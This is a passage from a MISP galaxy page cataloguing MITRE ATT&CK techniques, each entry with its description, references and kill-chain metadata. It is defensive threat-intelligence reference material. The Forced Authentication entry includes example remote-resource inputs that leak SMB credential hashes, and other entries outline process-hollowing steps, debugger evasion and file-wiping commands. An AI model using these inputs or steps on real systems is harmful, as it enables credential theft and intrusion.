- Transact – Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.
- Load – Create a shared section of memory and load the malicious executable.
- Rollback – Undo changes to original executable, effectively removing malicious code from the file system.
- Animate – Create a process from the tainted section of memory and initiate execution.
Internal MISP references
UUID c1a452f3-6499-4c12-b7e9-a6a0a102af76 which can be used as unique global reference for Process Doppelgänging - T1186 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1186 - webarchive
- https://hshrzd.wordpress.com/2017/12/18/process-doppelganging-a-new-way-to-impersonate-a-process/ - webarchive
- https://msdn.microsoft.com/library/windows/desktop/aa365738.aspx - webarchive
- https://msdn.microsoft.com/library/windows/desktop/bb968806.aspx - webarchive
- https://msdn.microsoft.com/library/windows/desktop/dd979526.aspx - webarchive
- https://msdn.microsoft.com/library/windows/hardware/ff559951.aspx - webarchive
- https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1186 |
| kill_chain | ['attack-Windows:defense-evasion'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
User Evasion - T1618
Adversaries may attempt to avoid detection by hiding malicious behavior from the user. By doing this, an adversary’s modifications would most likely remain installed on the device for longer, allowing the adversary to continue to operate on that device.
While there are many ways this can be accomplished, one method is by using the device’s sensors. By utilizing the various motion sensors on a device, such as accelerometer or gyroscope, an application could detect that the device is being interacted with. That way, the application could continue to run while the device is not in use but cease operating while the user is using the device, hiding anything that would indicate malicious activity was ongoing. Accessing the sensors in this way does not require any permissions from the user, so it would be completely transparent.
Internal MISP references
UUID 2f0e8d80-4b8b-4f4a-b5cc-132afe7e057d which can be used as unique global reference for User Evasion - T1618 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1618 |
| kill_chain | ['mobile-attack-Android:defense-evasion'] |
| mitre_platforms | ['Android'] |
Related clusters
To see the related clusters, click here.
LSASS Driver - T1177
The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process. (Citation: Microsoft Security Subsystem)
Adversaries may target lsass.exe drivers to obtain execution and/or persistence. By either replacing or adding illegitimate drivers (e.g., DLL Side-Loading or DLL Search Order Hijacking), an adversary can achieve arbitrary code execution triggered by continuous LSA operations.
Internal MISP references
UUID 6e6845c2-347a-4a6f-a2d1-b74a18ebd352 which can be used as unique global reference for LSASS Driver - T1177 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1177 - webarchive
- https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx - webarchive
- https://technet.microsoft.com/en-us/sysinternals/bb963902 - webarchive
- https://technet.microsoft.com/library/cc961760.aspx - webarchive
- https://technet.microsoft.com/library/dn408187.aspx - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1177 |
| kill_chain | ['attack-Windows:execution', 'attack-Windows:persistence'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Forced Authentication - T1187
Adversaries may gather credential material by invoking or forcing a user to automatically provide authentication information through a mechanism in which they can intercept.
The Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system. (Citation: Wikipedia Server Message Block) This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources.
Web Distributed Authoring and Versioning (WebDAV) is also typically used by Windows systems as a backup protocol when SMB is blocked or fails. WebDAV is an extension of HTTP and will typically operate over TCP ports 80 and 443. (Citation: Didier Stevens WebDAV Traffic) (Citation: Microsoft Managing WebDAV Security)
Adversaries may take advantage of this behavior to gain access to user account hashes through forced SMB/WebDAV authentication. An adversary can send an attachment to a user through spearphishing that contains a resource link to an external server controlled by the adversary (i.e. Template Injection), or place a specially crafted file on navigation path for privileged accounts (e.g. .SCF file placed on desktop) or on a publicly accessible share to be accessed by victim(s). When the user's system accesses the untrusted resource it will attempt authentication and send information, including the user's hashed credentials, over SMB to the adversary controlled server. (Citation: GitHub Hashjacking) With access to the credential hash, an adversary can perform off-line Brute Force cracking to gain access to plaintext credentials. (Citation: Cylance Redirect to SMB)
There are several different ways this can occur. (Citation: Osanda Stealing NetNTLM Hashes) Some specifics from in-the-wild use include:
- A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened (i.e. Template Injection). The document can include, for example, a request similar to
file[:]//[remote address]/Normal.dotmto trigger the SMB request. (Citation: US-CERT APT Energy Oct 2017) - A modified .LNK or .SCF file with the icon filename pointing to an external reference such as
\[remote address]\pic.pngthat will force the system to load the resource when the icon is rendered to repeatedly gather credentials. (Citation: US-CERT APT Energy Oct 2017)
Internal MISP references
UUID b77cf5f3-6060-475d-bd60-40ccbf28fdc2 which can be used as unique global reference for Forced Authentication - T1187 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1187 - webarchive
- https://blog.didierstevens.com/2017/11/13/webdav-traffic-to-malicious-sites/ - webarchive
- https://en.wikipedia.org/wiki/Server_Message_Block - webarchive
- https://github.com/hob0/hashjacking - webarchive
- https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/ - webarchive
- https://www.cylance.com/content/dam/cylance/pdfs/white_papers/RedirectToSMB.pdf - webarchive
- https://www.microsoft.com/technet/prodtechnol/WindowsServer2003/Library/IIS/4beddb35-0cba-424c-8b9b-a5832ad8e208.mspx - webarchive
- https://www.us-cert.gov/ncas/alerts/TA17-293A - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1187 |
| kill_chain | ['attack-Windows:credential-access'] |
| mitre_data_sources | ['File: File Access', 'File: File Creation', 'File: File Modification', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow'] |
| mitre_platforms | ['Windows'] |
BITS Jobs - T1197
Adversaries may abuse BITS jobs to persistently execute code and perform various background tasks. Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through Component Object Model (COM).(Citation: Microsoft COM)(Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations.
The interface to create and manage BITS jobs is accessible through PowerShell and the BITSAdmin tool.(Citation: Microsoft BITS)(Citation: Microsoft BITSAdmin)
Adversaries may abuse BITS to download (e.g. Ingress Tool Transfer), execute, and even clean up after running malicious code (e.g. Indicator Removal). BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls.(Citation: CTU BITS Malware June 2016)(Citation: Mondok Windows PiggyBack BITS May 2007)(Citation: Symantec BITS May 2007) BITS enabled execution may also enable persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots).(Citation: PaloAlto UBoatRAT Nov 2017)(Citation: CTU BITS Malware June 2016)
BITS upload functionalities can also be used to perform Exfiltration Over Alternative Protocol.(Citation: CTU BITS Malware June 2016)
Internal MISP references
UUID c8e87b83-edbb-48d4-9295-4974897525b7 which can be used as unique global reference for BITS Jobs - T1197 in MISP communities and other software using the MISP galaxy
External references
- https://arstechnica.com/information-technology/2007/05/malware-piggybacks-on-windows-background-intelligent-transfer-service/ - webarchive
- https://attack.mitre.org/techniques/T1197 - webarchive
- https://msdn.microsoft.com/library/aa362813.aspx - webarchive
- https://msdn.microsoft.com/library/windows/desktop/bb968799.aspx - webarchive
- https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx - webarchive
- https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/ - webarchive
- https://technet.microsoft.com/library/dd939934.aspx - webarchive
- https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1 - webarchive
- https://www.secureworks.com/blog/malware-lingers-with-bits - webarchive
- https://www.symantec.com/connect/blogs/malware-update-windows-update - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1197 |
| kill_chain | ['attack-Windows:defense-evasion', 'attack-Windows:persistence'] |
| mitre_data_sources | ['Command: Command Execution', 'Network Traffic: Network Connection Creation', 'Process: Process Creation', 'Service: Service Metadata'] |
| mitre_platforms | ['Windows'] |
Trusted Relationship - T1199
Adversaries may breach or otherwise leverage organizations who have access to intended victims. Access through trusted third party relationship abuses an existing connection that may not be protected or receives less scrutiny than standard mechanisms of gaining access to a network.
Organizations often grant elevated access to second or third-party external providers in order to allow them to manage internal systems as well as cloud-based environments. Some examples of these relationships include IT services contractors, managed security providers, infrastructure contractors (e.g. HVAC, elevators, physical security). The third-party provider's access may be intended to be limited to the infrastructure being maintained, but may exist on the same network as the rest of the enterprise. As such, Valid Accounts used by the other party for access to internal network systems may be compromised and used.(Citation: CISA IT Service Providers)
In Office 365 environments, organizations may grant Microsoft partners or resellers delegated administrator permissions. By compromising a partner or reseller account, an adversary may be able to leverage existing delegated administrator relationships or send new delegated administrator offers to clients in order to gain administrative control over the victim tenant.(Citation: Office 365 Delegated Administration)
Internal MISP references
UUID 9fa07bef-9c81-421e-a8e5-ad4366c5a925 which can be used as unique global reference for Trusted Relationship - T1199 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1199 |
| kill_chain | ['attack-Windows:initial-access', 'attack-SaaS:initial-access', 'attack-IaaS:initial-access', 'attack-Linux:initial-access', 'attack-macOS:initial-access', 'attack-Office-365:initial-access'] |
| mitre_data_sources | ['Application Log: Application Log Content', 'Logon Session: Logon Session Creation', 'Logon Session: Logon Session Metadata', 'Network Traffic: Network Traffic Content'] |
| mitre_platforms | ['Windows', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Office 365'] |
Misattributable credentials - T1322
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
The use of credentials by an adversary with the intent to hide their true identity and/or portray them self as another person or entity. An adversary may use misattributable credentials in an attack to convince a victim that credentials are legitimate and trustworthy when this is not actually the case. (Citation: FakeSSLCerts)
Internal MISP references
UUID 31fa5b03-1ede-4fab-8a68-ed831fcf4899 which can be used as unique global reference for Misattributable credentials - T1322 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1322 |
| kill_chain | ['pre-attack:adversary-opsec'] |
Debugger Evasion - T1622
Adversaries may employ various means to detect and avoid debuggers. Debuggers are typically used by defenders to trace and/or analyze the execution of potential malware payloads.(Citation: ProcessHacker Github)
Debugger evasion may include changing behaviors based on the results of the checks for the presence of artifacts indicative of a debugged environment. Similar to Virtualization/Sandbox Evasion, if the adversary detects a debugger, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for debugger artifacts before dropping secondary or additional payloads.
Specific checks will vary based on the target and/or adversary, but may involve Native API function calls such as IsDebuggerPresent() and NtQueryInformationProcess(), or manually checking the BeingDebugged flag of the Process Environment Block (PEB). Other checks for debugging artifacts may also seek to enumerate hardware breakpoints, interrupt assembly opcodes, time checks, or measurements if exceptions are raised in the current process (assuming a present debugger would “swallow” or handle the potential error).(Citation: hasherezade debug)(Citation: AlKhaser Debug)(Citation: vxunderground debug)
Adversaries may use the information learned from these debugger checks during automated discovery to shape follow-on behaviors. Debuggers can also be evaded by detaching the process or flooding debug logs with meaningless data via messages produced by looping Native API function calls such as OutputDebugStringW().(Citation: wardle evilquest partii)(Citation: Checkpoint Dridex Jan 2021)
Internal MISP references
UUID e4dc8c01-417f-458d-9ee0-bb0617c1b391 which can be used as unique global reference for Debugger Evasion - T1622 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1622 - webarchive
- https://github.com/LordNoteworthy/al-khaser/tree/master/al-khaser/AntiDebug - webarchive
- https://github.com/hasherezade/malware_training_vol1/blob/main/slides/module3/Module3_2_fingerprinting.pdf - webarchive
- https://github.com/processhacker/processhacker - webarchive
- https://github.com/vxunderground/VX-API/tree/main/Anti%20Debug - webarchive
- https://objective-see.com/blog/blog_0x60.html - webarchive
- https://research.checkpoint.com/2021/stopping-serial-killer-catching-the-next-strike/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1622 |
| kill_chain | ['attack-Windows:defense-evasion', 'attack-Linux:defense-evasion', 'attack-macOS:defense-evasion', 'attack-Windows:discovery', 'attack-Linux:discovery', 'attack-macOS:discovery'] |
| mitre_data_sources | ['Application Log: Application Log Content', 'Command: Command Execution', 'Process: OS API Execution', 'Process: Process Creation'] |
| mitre_platforms | ['Windows', 'Linux', 'macOS'] |
DNS poisoning - T1382
This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.
DNS (cache) poisoning is the corruption of an Internet server's domain name system table by replacing an Internet address with that of another, rogue address. When a Web user seeks the page with that address, the request is redirected by the rogue entry in the table to a different address. (Citation: Google DNS Poisoning) (Citation: DNS Poisoning China) (Citation: Mexico Modem DNS Poison)
Internal MISP references
UUID 76c9e8cb-52e1-4ddc-80d4-5f7231842e06 which can be used as unique global reference for DNS poisoning - T1382 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1382 |
| kill_chain | ['pre-attack:launch'] |
Process Discovery - T1424
Adversaries may attempt to get information about running processes on a device. Information obtained could be used to gain an understanding of common software/applications running on devices within a network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Recent Android security enhancements have made it more difficult to obtain a list of running processes. On Android 7 and later, there is no way for an application to obtain the process list without abusing elevated privileges. This is due to the Android kernel utilizing the hidepid mount feature. Prior to Android 7, applications could utilize the ps command or examine the /proc directory on the device.(Citation: Android-SELinuxChanges)
In iOS, applications have previously been able to use the sysctl command to obtain a list of running processes. This functionality has been removed in later iOS versions.
Internal MISP references
UUID 1b51f5bc-b97a-498a-8dbd-bc6b1901bf19 which can be used as unique global reference for Process Discovery - T1424 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1424 |
| kill_chain | ['mobile-attack-Android:discovery', 'mobile-attack-iOS:discovery'] |
| mitre_platforms | ['Android', 'iOS'] |
Audio Capture - T1429
Adversaries may capture audio to collect information by leveraging standard operating system APIs of a mobile device. Examples of audio information adversaries may target include user conversations, surroundings, phone calls, or other sensitive information.
Android and iOS, by default, require that applications request device microphone access from the user.
On Android devices, applications must hold the RECORD_AUDIO permission to access the microphone or the CAPTURE_AUDIO_OUTPUT permission to access audio output. Because Android does not allow third-party applications to hold the CAPTURE_AUDIO_OUTPUT permission by default, only privileged applications, such as those distributed by Google or the device vendor, can access audio output.(Citation: Android Permissions) However, adversaries may be able to gain this access after successfully elevating their privileges. With the CAPTURE_AUDIO_OUTPUT permission, adversaries may pass the MediaRecorder.AudioSource.VOICE_CALL constant to MediaRecorder.setAudioOutput, allowing capture of both voice call uplink and downlink.(Citation: Manifest.permission)
On iOS devices, applications must include the NSMicrophoneUsageDescription key in their Info.plist file to access the microphone.(Citation: Requesting Auth-Media Capture)
Internal MISP references
UUID 6683aa0c-d98a-4f5b-ac57-ca7e9934a760 which can be used as unique global reference for Audio Capture - T1429 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1429 - webarchive
- https://blog.zecops.com/research/how-ios-malware-can-spy-on-users-silently/ - webarchive
- https://developer.android.com/reference/android/Manifest.permission - webarchive
- https://developer.android.com/reference/android/media/MediaRecorder.AudioSource#VOICE_CALL - webarchive
- https://developer.apple.com/documentation/avfoundation/cameras_and_media_capture/requesting_authorization_for_media_capture_on_ios - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-19.html - webarchive
- https://source.android.com/devices/tech/config/privacy-indicators - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1429 |
| kill_chain | ['mobile-attack-Android:collection', 'mobile-attack-iOS:collection'] |
| mitre_platforms | ['Android', 'iOS'] |
Unsecured Credentials - T1552
Adversaries may search compromised systems to find and obtain insecurely stored credentials. These credentials can be stored and/or misplaced in many locations on a system, including plaintext files (e.g. Bash History), operating system or application-specific repositories (e.g. Credentials in Registry), or other specialized files/artifacts (e.g. Private Keys).(Citation: Brining MimiKatz to Unix)
Internal MISP references
UUID 435dfb86-2697-4867-85b5-2fef496c0517 which can be used as unique global reference for Unsecured Credentials - T1552 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1552 |
| kill_chain | ['attack-Windows:credential-access', 'attack-Azure-AD:credential-access', 'attack-Office-365:credential-access', 'attack-SaaS:credential-access', 'attack-IaaS:credential-access', 'attack-Linux:credential-access', 'attack-macOS:credential-access', 'attack-Google-Workspace:credential-access', 'attack-Containers:credential-access', 'attack-Network:credential-access'] |
| mitre_data_sources | ['Application Log: Application Log Content', 'Command: Command Execution', 'File: File Access', 'Process: Process Creation', 'User Account: User Account Authentication', 'Windows Registry: Windows Registry Key Access'] |
| mitre_platforms | ['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace', 'Containers', 'Network'] |
Impair Defenses - T1562
Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. This not only involves impairing preventative defenses, such as firewalls and anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior. This may also span both native defenses as well as supplemental capabilities installed by users and administrators.
Adversaries may also impair routine operations that contribute to defensive hygiene, such as blocking users from logging out of a computer or stopping it from being shut down. These restrictions can further enable malicious operations as well as the continued propagation of incidents.(Citation: Emotet shutdown)
Adversaries could also target event aggregation and analysis mechanisms, or otherwise disrupt these procedures by altering other system components.
Internal MISP references
UUID 3d333250-30e4-4a82-9edc-756c68afc529 which can be used as unique global reference for Impair Defenses - T1562 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1562 |
| kill_chain | ['attack-Windows:defense-evasion', 'attack-Office-365:defense-evasion', 'attack-IaaS:defense-evasion', 'attack-Linux:defense-evasion', 'attack-macOS:defense-evasion', 'attack-Containers:defense-evasion', 'attack-Network:defense-evasion'] |
| mitre_data_sources | ['Cloud Service: Cloud Service Disable', 'Cloud Service: Cloud Service Modification', 'Command: Command Execution', 'Driver: Driver Load', 'File: File Deletion', 'File: File Modification', 'Firewall: Firewall Disable', 'Firewall: Firewall Rule Modification', 'Process: OS API Execution', 'Process: Process Creation', 'Process: Process Modification', 'Process: Process Termination', 'Script: Script Execution', 'Sensor Health: Host Status', 'Service: Service Metadata', 'User Account: User Account Modification', 'Windows Registry: Windows Registry Key Deletion', 'Windows Registry: Windows Registry Key Modification'] |
| mitre_platforms | ['Windows', 'Office 365', 'IaaS', 'Linux', 'macOS', 'Containers', 'Network'] |
Protocol Tunneling - T1572
Adversaries may tunnel network communications to and from a victim system within a separate protocol to avoid detection/network filtering and/or enable access to otherwise unreachable systems. Tunneling involves explicitly encapsulating a protocol within another. This behavior may conceal malicious traffic by blending in with existing traffic and/or provide an outer layer of encryption (similar to a VPN). Tunneling could also enable routing of network packets that would otherwise not reach their intended destination, such as SMB, RDP, or other traffic that would be filtered by network appliances or not routed over the Internet.
There are various means to encapsulate a protocol within another protocol. For example, adversaries may perform SSH tunneling (also known as SSH port forwarding), which involves forwarding arbitrary data over an encrypted SSH tunnel.(Citation: SSH Tunneling)
Protocol Tunneling may also be abused by adversaries during Dynamic Resolution. Known as DNS over HTTPS (DoH), queries to resolve C2 infrastructure may be encapsulated within encrypted HTTPS packets.(Citation: BleepingComp Godlua JUL19)
Adversaries may also leverage Protocol Tunneling in conjunction with Proxy and/or Protocol Impersonation to further conceal C2 communications and infrastructure.
Internal MISP references
UUID 4fe28b27-b13c-453e-a386-c2ef362a573b which can be used as unique global reference for Protocol Tunneling - T1572 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1572 |
| kill_chain | ['attack-Linux:command-and-control', 'attack-macOS:command-and-control', 'attack-Windows:command-and-control'] |
| mitre_data_sources | ['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
SMS Control - T1582
Adversaries may delete, alter, or send SMS messages without user authorization. This could be used to hide C2 SMS messages, spread malware, or various external effects.
This can be accomplished by requesting the RECEIVE_SMS or SEND_SMS permissions depending on what the malware is attempting to do. If the app is set as the default SMS handler on the device, the SMS_DELIVER broadcast intent can be registered, which allows the app to write to the SMS content provider. The content provider directly modifies the messaging database on the device, which could allow malicious applications with this ability to insert, modify, or delete arbitrary messages on the device.(Citation: SMS KitKat)(Citation: Android SmsProvider)
Internal MISP references
UUID b327a9c0-e709-495c-aa6e-00b042136e2b which can be used as unique global reference for SMS Control - T1582 in MISP communities and other software using the MISP galaxy
External references
- https://android-developers.googleblog.com/2013/10/getting-your-sms-apps-ready-for-kitkat.html - webarchive
- https://android.googlesource.com/platform/packages/providers/TelephonyProvider/+/7e7c274/src/com/android/providers/telephony/SmsProvider.java - webarchive
- https://attack.mitre.org/techniques/T1582 - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-16.html - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-41.html - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1582 |
| kill_chain | ['mobile-attack-Android:impact'] |
| mitre_platforms | ['Android'] |
Data Destruction - T1662
Adversaries may destroy data and files on specific devices or in large numbers to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives.
To achieve data destruction, adversaries may use the pm uninstall command to uninstall packages or the rm command to remove specific files. For example, adversaries may first use pm uninstall to uninstall non-system apps, and then use rm (-f) <file(s)> to delete specific files, further hiding malicious activity.(Citation: rootnik_rooting_tool)(Citation: abuse_native_linux_tools)
Internal MISP references
UUID 9ef14445-6f35-4ed0-a042-5024f13a9242 which can be used as unique global reference for Data Destruction - T1662 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1662 - webarchive
- https://unit42.paloaltonetworks.com/rootnik-android-trojan-abuses-commercial-rooting-tool-and-steals-private-information/ - webarchive
- https://www.trendmicro.com/en_za/research/22/i/how-malicious-actors-abuse-native-linux-tools-in-their-attacks.html - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1662 |
| kill_chain | ['mobile-attack-Android:impact'] |
| mitre_platforms | ['Android'] |
Execution Guardrails - T1627
Adversaries may use execution guardrails to constrain execution or actions based on adversary supplied and environment specific conditions that are expected to be present on the target. Guardrails ensure that a payload only executes against an intended target and reduces collateral damage from an adversary’s campaign. Values an adversary can provide about a target system or environment to use as guardrails may include environment information such as location.(Citation: SWB Exodus March 2019)
Guardrails can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This use of guardrails is distinct from typical System Checks. While use of System Checks may involve checking for known sandbox values and continuing with execution only if there is no match, the use of guardrails will involve checking for an expected target-specific value and only continuing with execution if there is such a match.
Internal MISP references
UUID 498e7b81-238d-404c-aa5e-332904d63286 which can be used as unique global reference for Execution Guardrails - T1627 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1627 |
| kill_chain | ['mobile-attack-Android:defense-evasion', 'mobile-attack-iOS:defense-evasion'] |
| mitre_platforms | ['Android', 'iOS'] |
Hide Artifacts - T1628
Adversaries may attempt to hide artifacts associated with their behaviors to evade detection. Mobile operating systems have features and developer APIs to hide various artifacts, such as an application’s launcher icon. These APIs have legitimate usages, such as hiding an icon to avoid application drawer clutter when an application does not have a usable interface. Adversaries may abuse these features and APIs to hide artifacts from the user to evade detection.
Internal MISP references
UUID fc53309d-ebd5-4573-9242-57024ebdad4f which can be used as unique global reference for Hide Artifacts - T1628 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1628 |
| kill_chain | ['mobile-attack-Android:defense-evasion'] |
| mitre_platforms | ['Android'] |
Dumpster dive - T1286
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Dumpster diving is looking through waste for information on technology, people, and/or organizational items of interest. (Citation: FriedDumpsters)
Internal MISP references
UUID 6c79d654-6506-4f33-b48f-c80babdcc52d which can be used as unique global reference for Dumpster dive - T1286 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1286 |
| kill_chain | ['pre-attack:organizational-information-gathering'] |
Impair Defenses - T1629
Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. This not only involves impairing preventative defenses, such as anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior. This may span both native defenses as well as supplemental capabilities installed by users or mobile endpoint administrators.
Internal MISP references
UUID 20b0931a-8952-42ca-975f-775bad295f1a which can be used as unique global reference for Impair Defenses - T1629 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1629 |
| kill_chain | ['mobile-attack-Android:defense-evasion'] |
| mitre_platforms | ['Android'] |
Dynamic DNS - T1333
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Dynamic DNS is a automated method to rapidly update the domain name system mapping of hostnames to IPs. (Citation: FireEyeSupplyChain)
Internal MISP references
UUID 54eb2bab-125f-4d1c-b999-0c692860bafe which can be used as unique global reference for Dynamic DNS - T1333 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1333 |
| kill_chain | ['pre-attack:establish-&-maintain-infrastructure'] |
Related clusters
To see the related clusters, click here.
Port redirector - T1363
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Redirecting a communication request from one address and port number combination to another. May be set up to obfuscate the final location of communications that will occur in later stages of an attack. (Citation: SecureWorks HTRAN Analysis)
Internal MISP references
UUID 13ff5307-b650-405a-9664-d8076930b2bf which can be used as unique global reference for Port redirector - T1363 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1363 |
| kill_chain | ['pre-attack:stage-capabilities'] |
Internal Spearphishing - T1534
After they already have access to accounts or systems within the environment, adversaries may use internal spearphishing to gain access to additional information or compromise other users within the same organization. Internal spearphishing is multi-staged campaign where a legitimate account is initially compromised either by controlling the user's device or by compromising the account credentials of the user. Adversaries may then attempt to take advantage of the trusted internal account to increase the likelihood of tricking more victims into falling for phish attempts, often incorporating Impersonation.(Citation: Trend Micro - Int SP)
For example, adversaries may leverage Spearphishing Attachment or Spearphishing Link as part of internal spearphishing to deliver a payload or redirect to an external site to capture credentials through Input Capture on sites that mimic login interfaces.
Adversaries may also leverage internal chat apps, such as Microsoft Teams, to spread malicious content or engage users in attempts to capture sensitive information and/or credentials.(Citation: Int SP - chat apps)
Internal MISP references
UUID 9e7452df-5144-4b6e-b04a-b66dd4016747 which can be used as unique global reference for Internal Spearphishing - T1534 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1534 - webarchive
- https://blog.trendmicro.com/phishing-starts-inside/ - webarchive
- https://www.microsoft.com/en-us/security/blog/2023/08/02/midnight-blizzard-conducts-targeted-social-engineering-over-microsoft-teams/ - webarchive
- https://www.trendmicro.com/en_us/research.html - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1534 |
| kill_chain | ['attack-Windows:lateral-movement', 'attack-macOS:lateral-movement', 'attack-Linux:lateral-movement', 'attack-Office-365:lateral-movement', 'attack-SaaS:lateral-movement', 'attack-Google-Workspace:lateral-movement'] |
| mitre_data_sources | ['Application Log: Application Log Content', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow'] |
| mitre_platforms | ['Windows', 'macOS', 'Linux', 'Office 365', 'SaaS', 'Google Workspace'] |
Credential pharming - T1374
This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.
Credential pharming a form of attack designed to steal users' credential by redirecting users to fraudulent websites. Pharming can be conducted either by changing the hosts file on a victim's computer or by exploitation of a vulnerability in DNS server software. (Citation: DriveByPharming) (Citation: GoogleDrive Phishing)
Internal MISP references
UUID 38a6d2f5-d948-4235-bb91-bb01604448b4 which can be used as unique global reference for Credential pharming - T1374 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1374 |
| kill_chain | ['pre-attack:launch'] |
Power Settings - T1653
Adversaries may impair a system's ability to hibernate, reboot, or shut down in order to extend access to infected machines. When a computer enters a dormant state, some or all software and hardware may cease to operate which can disrupt malicious activity.(Citation: Sleep, shut down, hibernate)
Adversaries may abuse system utilities and configuration settings to maintain access by preventing machines from entering a state, such as standby, that can terminate malicious activity.(Citation: Microsoft: Powercfg command-line options)(Citation: systemdsleep Linux)
For example, powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.(Citation: Two New Monero Malware Attacks Target Windows and Android Users) Adversaries may also extend system lock screen timeout settings.(Citation: BATLOADER: The Evasive Downloader Malware) Other relevant settings, such as disk and hibernate timeout, can be similarly abused to keep the infected machine running even if no user is active.(Citation: CoinLoader: A Sophisticated Malware Loader Campaign)
